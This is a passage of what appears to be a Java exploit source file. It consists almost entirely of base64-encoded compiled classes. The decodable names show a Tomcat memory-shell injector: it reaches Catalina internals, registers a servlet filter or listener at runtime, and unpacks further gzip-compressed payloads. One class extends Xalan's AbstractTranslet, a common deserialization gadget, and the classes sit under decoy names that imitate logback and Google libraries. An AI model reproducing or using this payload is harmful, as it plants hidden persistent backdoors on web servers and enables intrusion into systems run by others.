mcvSW50ZWdlcgcAywEABFRZUEUMAM0ArQkAzADOAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DADQANEKAIEA0gEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcA1AEADXNldEFjY2Vzc2libGUBAAQoWilWDADWANcKANUA2AEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DADaANsKAMwA3AEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA3gDfCgDVAOABAAtuZXdJbnN0YW5jZQwA4gA7CgCBAOMBAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxsYXN0RG90SW5kZXgBAAFJAQAJY2xhc3NOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQABLggA6wEAC2xhc3RJbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADtAO4KABIA7wEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwwA8QDyCgASAPMBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAKZmlsdGVyTmFtZQEAI1tMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47BwD5AQARZ2V0Q2F0YWxpbmFMb2FkZXIMAQIAjAoAAgEDDADlAOYKAAIBBQEADWZpbmRGaWx0ZXJEZWYIAQcBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAF0BCQoAAgEKAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYIAQwBAAdmb3JOYW1lDAEOALwKAIEBDwEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyTWFwCAERAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyRGVmCAETAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyTWFwCAEVAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwwBDgEXCgCBARgBAA1zZXRGaWx0ZXJOYW1lCAEaAQAOc2V0RmlsdGVyQ2xhc3MIARwBAAxhZGRGaWx0ZXJEZWYIAR4BAA1zZXREaXNwYXRjaGVyCAEgAQAHUkVRVUVTVAgBIgEADWFkZFVSTFBhdHRlcm4IASQMAAUABgoAAgEmAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCAEoAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7DAEqASsKAIEBLAEADXNldFVSTFBhdHRlcm4IAS4BABJhZGRGaWx0ZXJNYXBCZWZvcmUIATABAAxhZGRGaWx0ZXJNYXAIATIBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgcBNAoBNQDYAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DADiATcKATUBOAgA+wEADWphdmEvdXRpbC9NYXAHATsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBPQE+CwE8AT8BAA9wcmludFN0YWNrVHJhY2UMAUEAGQoAGwFCAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAUQBACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgcBRgEAAWkBAAxkZWNvZGVyQ2xhc3MBAAdkZWNvZGVyAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBTgEADGRlY29kZUJ1ZmZlcggBUAEACWdldE1ldGhvZAwBUgDRCgCBAVMBABBqYXZhLnV0aWwuQmFzZTY0CAFVAQAKZ2V0RGVjb2RlcggBVwEABmRlY29kZQgBWQEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBZAEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAWYBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBaAoBZQAsAQAFKFtCKVYMABUBawoBZwFsAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAVAW4KAWkBbwEABHJlYWQBAAUoW0IpSQwBcQFyCgFpAXMBAAV3cml0ZQEAByhbQklJKVYMAXUBdgoBZQF3AQALdG9CeXRlQXJyYXkBAAQoKVtCDAF5AXoKAWUBewEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAYEBggoAAgGDAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAYUKAYYA2AoBhgB6AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwGJAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAGMAY0KAIEBjgEADWdldFN1cGVyY2xhc3MMAZAAfQoAgQGRCgGKABcBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzBwGXAQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAaEBogoAgQGjCgDVAGIBAAZlcXVhbHMMAaYAhgoAEgGnAQARZ2V0UGFyYW1ldGVyVHlwZXMBABQoKVtMamF2YS9sYW5nL0NsYXNzOwwBqQGqCgDVAasKAKEAFwEACmdldE1lc3NhZ2UMAa4ABgoAnwGvCgCaABcBAAg8Y2xpbml0PgoAAgAsACEAAgAEAAAAAAAQAAEABQAGAAEABwAAAA8AAQABAAAAAxIJsAAAAAAAAQAKAAYAAQAHAAAAEAABAAEAAAAEEwAMsAAAAAAAAQANAAYAAgAOAAAABAABABAABwAAABcAAwABAAAAC7sAElkTABS3ABiwAAAAAAABABUAGQABAAcAAADYAAMABQAAADYqtwAtKrYAMUwruQA1AQBNLLkAOQEAmQAbLLkAPQEATiottwBBOgQqLRkEtgBFp//ipwAETLEAAQAEADEANAAbAAQAHAAAACYACQAAACwABAAuAAkALwAgADAAJwAxAC4AMgAxADUANAAzADUAOAAdAAAAKgAEACcABwAeAB8ABAAgAA4AIAAfAAMACQAoACEAIgABAAAANgAjACQAAAAlAAAADAABAAkAKAAhACYAAQArAAAAGgAE/wAQAAMHAAIHACgHACoAAPkAIEIHABsAAAEALgAvAAMABwAAAtgAAwAOAAABebsAWVm3AFpMElUSXLgAYMAAUcAAUU0BTiw6BBkEvjYFAzYGFQYVBaIBQRkEFQYyOgcZB7YAYxJltgBpmQCzLccArxkHEmu4AG4ScLgAbhJxuABuwABXOggZCLYAdbkAeAEAOgkZCbkAOQEAmQCAGQm5AD0BADoKGQgZCrYAexJxuABuwABXOgsZC7YAdbkAeAEAOgwZDLkAOQEAmQBNGQy5AD0BADoNGQsZDbYAe04txgAaLbYAf7YAghKEtgBpmQALKy25AIgCAFctxgAaLbYAf7YAghKKtgBpmQALKy25AIgCAFen/6+n/3ynAHcZB7YAjsYAbxkHtgCOtgB/tgCREpO2AGmaABYZB7YAjrYAf7YAkRKVtgBpmQBJGQe2AI4Sl7gAbhKYuABuTi3GABottgB/tgCCEoS2AGmZAAsrLbkAiAIAVy3GABottgB/tgCCEoq2AGmZAAsrLbkAiAIAV4QGAaf+vqcADzoEuwCaWRkEtwCdvyuwAAEAGAFoAWsAGwAEABwAAAByABwAAAA7AAgAPAAWAD0AGAA/ADEAQQBCAEIAWABFAHcARgCIAEkApwBKAK8ASwDCAEwAygBOAN0ATwDlAFAA6ABRAOsAUgDuAFQBHABVASwAVgE/AFcBRwBYAVoAWQFiAD8BaABeAWsAXAFtAF0BdwBfAB0AAABmAAoApwA+AEYAHwANAIgAYABHAEgACwB3AHEASQAfAAoAWACTAEoASAAIADEBMQBLAEwABwFtAAoATQBOAAQAAAF5ACMAJAAAAAgBcQAhACIAAQAWAWMATwBQAAIAGAFhACAAHwADACUAAAAMAAEACAFxACEAJgABACsAAABPAA7/ACMABwcAAgcAKAcAUQcAUwcAUQEBAAD+AEAHAFUHAFcHACr+AC8HAFMHAFcHACr8ADUHAFP6ABr4AAL5AAICLSr6ABr4AAVCBwAbCwAOAAAACAADAJ8AoQCjAKQAAAACAKUAAgA+AD8AAQAHAAABbQAGAAgAAACEAU24ALW2AI5OLccACyu2AH+2ALhOLSq2ALq2AL5NpwBkOgQqtgDAuADEuADIOgUSsRLJBr0AgVkDEspTWQSyAM9TWQWyAM9TtgDTOgYZBgS2ANkZBi0GvQBTWQMZBVNZBAO4AN1TWQUZBb64AN1TtgDhwACBOgcZB7YA5E2nAAU6BSywAAIAFQAeACEAGwAjAH0AgACnAAMAHAAAAD4ADwAAAGUAAgBmAAkAZwANAGgAFQBrAB4AdQAhAGwAIwBuAC8AbwBNAHAAUwBxAHcAcgB9AHQAgABzAIIAdgAdAAAAUgAIAC8ATgCoAKkABQBNADAAqgCrAAYAdwAGAKwArQAHACMAXwBNAE4ABAAAAIQAIwAkAAAAAACEACAAHwABAAIAggAeAB8AAgAJAHsArgCvAAMAKwAAACsABP0AFQcAUwcAsUsHABv/AF4ABQcAAgcAUwcAUwcAsQcAGwABBwCn+gABAAEA5QDmAAEABwAAAG0AAwADAAAAGisS7LYAaZkAEisS7LYA8D0rHARgtgD0sCuwAAAAAwAcAAAAEgAEAAAAegAJAHsAEAB8ABgAfgAdAAAAIAADABAACADnAOgAAgAAABoAIwAkAAAAAAAaAOkA6gABACsAAAADAAEYAAEAQgBDAAIABwAABFEABwALAAAB5iq2AQROKrYAujoEKhkEtgEGOgUrEwEIBL0AgVkDEhJTBL0AU1kDGQVTuAELxgAEsacABToIEwENuAEQtgDkOgYTARK4ARC2AOQ6B6cAOjoIEwEUuAEQtgDkOgYTARa4ARC2AOQ6B6cAHzoJEwEUBC24ARm2AOQ6BhMBFgQtuAEZtgDkOgcZBhMBGwS9AIFZAxISUwS9AFNZAxkFU7gBC1cZBhMBHQS9AIFZAxISUwS9AFNZAxkEU7gBC1crEwEfBL0AgVkDGQa2AH9TBL0AU1kDGQZTuAELVxkHEwEbBL0AgVkDEhJTBL0AU1kDGQVTuAELVxkHEwEhBL0AgVkDEhJTBL0AU1kDEwEjU7gBC1cZBxMBJQS9AIFZAxISUwS9AFNZAyq2ASdTuAELVxMBKbgBELYBLToIpwAvOgkZBxMBLwS9AIFZAxISUwS9AFNZAyq2ASdTuAELVxMBKQQtuAEZtgEtOggrEwExBL0AgVkDGQe2AH9TBL0AU1kDGQdTuAELV6cAIjoJKxMBMwS9AIFZAxkHtgB/UwS9AFNZAxkHU7gBC1cZCAMyBLYBNhkIAzIFvQBTWQMrU1kEGQZTtgE5OgkrEwE6uABuwAE8OgoZChkFGQm5AUADAFenAAo6CBkItgFDsQAGABMALwAzABsANQBLAE4AGwBQAGYAaQAbAQ8BNwE6ABsBZgGDAYYAGwCFAdsB3gAbAAQAHAAAAKIAKAAAAIQABQCFAAsAhgATAIwALwCNADAAkAAzAI8ANQCUAEAAlQBLAKAATgCWAFAAmQBbAJoAZgCfAGkAmwBrAJ0AeACeAIUAogCgAKMAuwCkANgApQDzAKYBDwCpASwAqgE3AK8BOgCrATwArQFZAK4BZgCyAYMAtQGGALMBiAC0AaUAtwGtALgBwwC5Ac8AugHbAL0B3gC7AeAAvAHlAL4AHQAAANQAFQBAAA4A9QAfAAYASwADAPYAHwAHAFsADgD1AB8ABgBmAAMA9gAfAAcAawAaAE0ATgAJAFAANQD3AE4ACAE3AAMA+AD5AAgBPAAqAE0ATgAJAYgAHQBNAE4ACQFmAHUA+AD5AAgBwwAYAPoAHwAJAc8ADAD7APwACgHgAAUATQBOAAgAAAHmACMAJAAAAAAB5gAgAB8AAQAAAeYAHgAfAAIABQHhAP0ArwADAAsB2wD+AOoABAATAdMA/wDqAAUAeAFuAPUAHwAGAIUBYQD2AB8ABwAlAAAAFgACATcAAwD4AQAACAFmAHUA+AEAAAgAKwAAAIsADP4AMAcAsQcAEgcAEkIHABsBWAcAG/8AGgAJBwACBwBTBwBTBwCxBwASBwASAAAHABsAAQcAG/8AGwAIBwACBwBTBwBTBwCxBwASBwASBwBTBwBTAAD3ALQHABv8ACsHAQFfBwAbHv8AOAAIBwACBwBTBwBTBwCxBwASBwASBwBTBwBTAAEHABsGAA4AAAAMAAUAowChAJ8BRQFHAAEBAgCMAAIABwAAALIAAgAEAAAAOBJVEly4AGDAAFHAAFFMAU0DPh0rvqIAISsdMrYAYxJltgBpmQANKx0ytgCOTacACYQDAaf/3yywAAAAAwAcAAAAIgAIAAAAwQAOAMIAEADDABgAxQAmAMYALQDHADAAwwA2AMoAHQAAACoABAASACQBSADoAAMAAAA4ACMAJAAAAA4AKgBPAFAAAQAQACgA/QCvAAIAKwAAABAAA/4AEgcAUQcAsQEd+gAFAA4AAAAIAAMAoQCjAJ8ACADBAMIAAgAHAAABBQAGAAQAAABvEwFPuAEQTCsTAVEEvQCBWQMSElO2AVQrtgDkBL0AU1kDKlO2AOHAAMrAAMqwTRMBVrgBEEwrEwFYA70AgbYBVAEDvQBTtgDhTi22AH8TAVoEvQCBWQMSElO2AVQtBL0AU1kDKlO2AOHAAMrAAMqwAAEAAAAsAC0AGwAEABwAAAAaAAYAAADQAAcA0QAtANIALgDTADUA1ABJANUAHQAAADQABQAHACYBSQCtAAEASQAmAUoAHwADAC4AQQFLAE4AAgAAAG8BTADqAAAANQA6AUkArQABACUAAAAWAAIABwAmAUkBTQABADUAOgFJAU0AAQArAAAABgABbQcAGwAOAAAACgAEAUUAoQCjAJ8ACQDFAMYAAgAHAAAA1AAEAAYAAAA+uwFlWbcBaky7AWdZKrcBbU27AWlZLLcBcE4RAQC8CDoELRkEtgF0WTYFmwAPKxkEAxUFtgF4p//rK7YBfLAAAAADABwAAAAeAAcAAADaAAgA2wARANwAGgDdACEA3wAtAOAAOQDiAB0AAAA+AAYAAAA+AVsAqQAAAAgANgFcAV0AAQARAC0BXgFfAAIAGgAkAWABYQADACEAHQFiAKkABAAqABQBYwDoAAUAKwAAABwAAv8AIQAFBwDKBwFlBwFnBwFpBwDKAAD8ABcBAA4AAAAEAAEAEAAIAGwAXgACAAcAAABXAAIAAwAAABEqK7gBhE0sBLYBhywqtgGIsAAAAAIAHAAAAA4AAwAAAOYABgDnAAsA6AAdAAAAIAADAAAAEQF9AB8AAAAAABEBfgDqAAEABgALAX8BgAACAA4AAAAEAAEAGwAIAYEBggACAAcAAADHAAMABAAAACgqtgB/TSzGABksK7YBj04tBLYBhy2wTiy2AZJNp//puwGKWSu3AZO/AAEACQAVABYBigAEABwAAAAmAAkAAADsAAUA7QAJAO8ADwDwABQA8QAWAPIAFwDzABwA9AAfAPYAHQAAADQABQAPAAcBfwGAAAMAFwAFAE0BiwADAAAAKAF9AB8AAAAAACgBfgDqAAEABQAjAKwArQACACUAAAAMAAEABQAjAKwBTQACACsAAAANAAP8AAUHAIFQBwGKCAAOAAAABAABAYoAKABdAF4AAgAHAAAAQgAEAAIAAAAOKisDvQCBA70AU7gBC7AAAAACABwAAAAGAAEAAAD6AB0AAAAWAAIAAAAOAZQAHwAAAAAADgGVAOoAAQAOAAAACAADAKEAnwCjACkAXQEJAAIABwAAAhcAAwAJAAAAyirBAIGZAAoqwACBpwAHKrYAfzoEAToFGQQ6BhkFxwBkGQbGAF8sxwBDGQa2AaQ6BwM2CBUIGQe+ogAuGQcVCDK2AaUrtgGomQAZGQcVCDK2Aay+mgANGQcVCDI6BacACYQIAaf/0KcADBkGKyy2ANM6Baf/qToHGQa2AZI6Bqf/nRkFxwAMuwChWSu3Aa2/GQUEtgDZKsEAgZkAGhkFAS22AOGwOge7AJpZGQe2AbC3AbG/GQUqLbYA4bA6B7sAmlkZB7YBsLcBsb8AAwAlAHIAdQChAJwAowCkAJ8AswC6ALsAnwADABwAAABuABsAAAD+ABQA/wAXAQEAGwECACUBBAApAQYAMAEHADsBCABWAQkAXQEKAGABBwBmAQ0AaQEOAHIBEgB1ARAAdwERAH4BEgCBARQAhgEVAI8BFwCVARgAnAEaAKQBGwCmARwAswEgALsBIQC9ASIAHQAAAHoADAAzADMBSADoAAgAMAA2AZYBlwAHAHcABwBNAZgABwCmAA0ATQGZAAcAvQANAE0BmQAHAAAAygF9AB8AAAAAAMoBlQDqAAEAAADKAZoBmwACAAAAygGcAZ0AAwAUALYArACtAAQAFwCzAZ4AqwAFABsArwGfAK0ABgArAAAALwAODkMHAIH+AAgHAIEHANUHAIH9ABcHAaABLPkABQIIQgcAoQsNVAcAnw5HBwCfAA4AAAAIAAMAoQCjAJ8ACAGyABkAAQAHAAAAJQACAAAAAAAJuwACWbcBs1exAAAAAQAcAAAACgACAAAAKQAIACoAAA=="; 30 | // private final String mem = "yv66vgAAADEBfQEAGWNoL3Fvcy9sb2diYWNrbnMvSlNPTlV0aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQArY29tLmdvb2dsZS5nc28uU2VydmxldFJlcXVlc3RYZWRyeWlMaXN0ZW5lcggACAEAD2dldEJhc2U2NFN0cmluZwEACkV4Y2VwdGlvbnMBABNqYXZhL2lvL0lPRXhjZXB0aW9uBwAMAQAQamF2YS9sYW5nL1N0cmluZwcADgEL1Eg0c0lBQUFBQUFBQUFKVlhlVnhVMXhYK0xqUHdobUUwY1ZBRVRkT29VV0VZR0VXSkN0bEVRWWhBMUxFb0VwTStaaDd3ZEpnM3pudURZaHZUcGpaSjJ6VGRtNmI3a3BTMnNhMjJjVkNweHRnbGJib3Y2Yjd2VGR2LyswK2FmdmU5eHdERElQYjNtM25MdmVkODU5enZMUGUrRi81NzRSS0E5ZmkzUUczTUdJNE1Hc1pnUW9zTW1rWWtxcVZIRXBxMVJ6dVMwVXhydnhaUGorcWR1bWxwU1MydFFBZ3NPYVNPcUpHRW1oeU1iRXVvcHRscHFIRTU1Ukc0V1U0ZGk1Z09SQjdVRkVpeFFNbXRlbEszYmhmd1ZOZjBDSGkzR1hGTjRMcE9QYWwxWjRiN3RmUmV0VC9Ca1dDbkVWTVRQV3BhbCsvdW9OY2EwazJCdXM3L3cvWG1BQlQ0L1BCaW9jQ3k2czZDaTJpV3ZvaVl3Tkk1NWlYSTlSS2tuSEtENUtLNnI2VW1YN2FaYy8wQ1JYMHRBbVZ4YllCcnNzY0pTL0dPanRrS0FWUmhtWVJkTG5COTJuRi9PLzlwWTFTTEM2eHgzSjJMMk5ZUkxXblpycGVic3ljRVZsMkROcGwyN1hZd0xycWEwSTlMeStWVG5yWWVpMmtwU3plU0NsWnk0UzVtTEQyYXNveklOajAxUkhvRWZHbk5UQmxKazFIS2QzcklzbEtSZGw1eTloMUphaW1tWnBxRUZyaHBiaVZiZ3NJZW8vK1FUQlhidFl5bEp5SmRha3FDdUFzUVdEdXZaVnVRT2l2bVpVWkJuY0RxYThKVEVHR3NybTNSQ3RZTDNIajF0U3JZSUxCZ3hqSVZOSElvYXFteHczeHp5MkhSb0diTjlJUThWdGRjTmVwTXVjM1k0a2M5bWdUOFE1ck03bTUxMks2NHFaaEhyYlNlSEtUc3JiaXRGRVZndlpiU1dMc3Ruc3ZMR2JJMWhkVHZ4Tll5cklPc0I4ZFVqNXJJYUFGc2QyQmJtZlg1V2dwMk1KdGlSdEpTOVNSTFovbU1raDFTMDFHNWtHUk1hNjQ1RUVBSDd2S2pIVHNGS2dhblNHNUxHOE01Um5iUG40OE9NL25FelptM0FYU2gyMC8vN3lhRmRnemNKRjQ1aS94WmFSekFidXlSbkVRWnY2a1F0NnZta0IzbTEvalJnNFUrMURMZlV4bTZ2M242K3UvdVA2VEZyT2JaSXpXemh3TG94WUV5M0lJK0gxYjdzSmJOS2VQRGZleWlLYmFlQUZRbkJteFlQaHF5QThNS0toRFpBdFo2QW9oREs4TkdETkRQcmExUkg0YmNwcEhYR2hTd1pzdElVa2ZTdEZTR1RhQm16dXpKYnlzQkpERHN4MkdRMjFmUEVEQlRXb3laSFV0cjFrNXROTW8zQlNtdWhJWmFSaTJOZWVPdHJ1bHJDU0FOVXlhSTVmVGdBb1o3WkdzZjhlTUlqbEpKYms1U3RNT1JOTFZZSnExYm94RWFzVVZIY1Z6Njg3b1ppZXV3b3VCK3h3RzM1NWRYRityM0QrQU5mcHpBRzluSThpWVZ2RWxnNGFTK3MrOElWTTFHeVcxSmI4WkRmcHpFd3pJVnk1MEszZU5XNkxKSk5kMkl0R1FHQnJTMEZuZm1xUGRXdkUxbTRLTXNtc0l5Q2g2ek83b2FsL3V5d09McWd0WDlUcnpMajNmZzNRS0JmdFhVYnRtNFhZdloyM2xGb1FqTGFMd1g3NVBPdnA5Tk8yNjA2VWsxd1JPQjNFcmw1QWZ3aE9UMmd3RXNRWVVVK3pBeko2a2RuY3FjbVg3azh2eWorSmprNGVQRVlpbXJDVlB1endXeWx2M2lrL2lVcFA5SkZtNXVYNk40TWFscjY1bTMyQXEwdXB3VFkvaU05UG16Ym5kM1pydU5hQ1kyMUtacmlmaTBiZlJwSnRxSW1tNmMzUFhtbG0xMkpOZk43TTZ1VFdkdXZYTnJZS3BNRTBsckF3bktSR3c0VjVLYnlxSUNSNWFsYzJncHlETExTUXlqbWxDWkcvWW9UMS96TlArWnBnTTRoL015T2hlNGY4bGVtVWxwNlZqQzdrQmZrYlZ3RWhmendqV2pNcC8xNHhRdVU5ZlVySzJ4bU95aXpsR3crb0FVdUlLditqR09yN0VMRVR4dlo3cGFiL3dHbnBlSzMyVHM2YzN4NHpJajdleE5UNTV4OGs0LzhnRENneG1UMjh3azY0ZDFNMWJmc2pYYU9wbjBhUisrUjR3Qnc5MU5WOC9EMG1RLytBRitLRG40RVd2SXNlOVVvZzgvY1FxNlM3T0dETEorWndHOHZsbDRoZUxnSU5EVVQvRXphZXJuQXBWelNTbjRKWXRJVDQ0WWg3bUdMUVhJN0x0R2ZuK04zL2p4Sy94V1FhWGJLK3ZsUmxmZllqY0tILzdnYkowNTh2NUV1dzRCUHZ5Rkd0ckdSbTFEdzVZQnJiOHh2cVdoc2QrSHY1SGVZWVBIVEMzbXd6K1lBVWN6UTl6US9va1ZMRHN2cUE4UHI5elcrSVVqNU1uRnZtKzM3ejQrS2ZhMWxHK3QxQkM4THcyTjQ3cFE4TzluRVFzRlh6cUxPMExCZjUxRjJ4bE9GY0hQcTZ4b2lxRUNsU2pqVThCUjQzMkJEYzZQQWhkeUZ5V2xiR1dvZGh5TDU4ZGNUcFFiYk13S1I4L0ZsRStMRUNTcWtHM1FSYitOQzVSU3BhRmFUKzJsY2R4d09nZFhZcnQwMHpTbzBoeFVLWTFVMmxDdndvMHVWS090U2VmUDVFR3NuZ1loY2hEY2VBa3VJVlpNUW9nbnFhRnc3a3B0RnMyWHNhNHJISG9HZDV6SHRpS1cxZE5UTDN4b3k2THpDVHdlQ285alYzZjRQUFlLTkhrbjBOTTdqbjFOeFZYRndmMGN2TWVEZlh3OFdKZDd2TGZLNno1N2c2OGxUT3c4QmowSTZ1ZGdOSlZVbFJSUDRFaXZITTRpRTlUSGNTeUwxMCtncURlVXhZTlpQREtPdDFTVmhBajhkb0VzM3BQRjQxbDhLSXVQWlBHSnF1SXNudG8zaHVLbWtqRjR1OC9JQXhBNzFBUldNVGt1NGpMdkhwdVROa1lCcU9ab0NEV29SUVJoYkVJZFQ3VDEyTW0zSG02Zy9XaUFnUTBZNFRub1VSSjdqaElUUEhCZFJET1J0dUE1eGsxeTJpNVBHR2doNHMxa0xvTEh5UFVhMnRtRWg3Q1dOcnhFdlo5V1FpaVdyT2E0ditKeTc4TUZlaENtcjVzNHVnYmVWMmltUkVHUmdub0Y2eFEwS05pbzBMQlFzT28vRUMyOHlkanlsTXJycDZrankyT1ZIZjUyamtncllkRlZHOXgvRHA4TEh1VGxNaHE2eGxEVlhUdnR6ZGZrSFlPSHYvQnBPN2NYWVRFeGx0Q25sUktlM25MTDQ3aEVmWkdya2FpYlJaZU1RWGRkOE1SVHFLaGpma3dRYVVHVHR5NkxTOTFqcjd3VWZoNkJDWnpxWlpFODkyelltOFhYdzFUNDFtbjZ0d0Rsekw1VEx2OE5aQUVzWG40a2tMMGRuTzNnL0YyVTJNbVU3bVJDZDVHYlhXUjBONk1TcGZ4ZW0rdU45S09TLzgvakMxdzFQY0lYY2RwbWN6UE9NQjc4UENkUlg4S1hlZWUzR0o3QldUc1M0UHE4TDBOUk1LN2daTGVDVTZXQmFkUUplWFJ4Ri9zeWd5Z1hPeHI4L2puOHVDc2NmTkY3RVNkN1BjSDJhQmEvQ0RQTCtINmkxMVBMMTk5ZHh1OXp2OU5kd1Q5U2crejgyVU1OQ2d2ZVQxQ3F5VnRGTGg0TS9uVTZVcFYzTGh5N1h0ZlIrOGxzWFVhWGdBTzg5bkgwSHJKeGtPdTlsenpkWjdOeU8yZEttRU12Y0xWRm5ObHFQM2s0WDRkdmt4OHZOWGFRcysvWTFUK2F5OEJSZk5mbWJKUFRKWTdJeEpvaUJmOERQemJydjA4U0FBQT0IABABAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMABIAEwoADwAUAQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAFwEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEACGxpc3RlbmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEABHRoaXMBABtMY2gvcW9zL2xvZ2JhY2tucy9KU09OVXRpbDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAOamF2YS91dGlsL0xpc3QHACQBABJqYXZhL3V0aWwvSXRlcmF0b3IHACYBAA1TdGFja01hcFRhYmxlDAASABYKAAQAKQEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMACsALAoAAgAtAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7DAAvADALACUAMQEAB2hhc05leHQBAAMoKVoMADMANAsAJwA1AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAA3ADgLACcAOQEAC2dldExpc3RlbmVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMADsAPAoAAgA9AQALYWRkTGlzdGVuZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYMAD8AQAoAAgBBAQAEa2V5MQEACGNoaWxkcmVuAQATTGphdmEvdXRpbC9IYXNoTWFwOwEAA2tleQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3RocmVhZHMBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBNAQAQamF2YS9sYW5nL09iamVjdAcATwEAEGphdmEvbGFuZy9U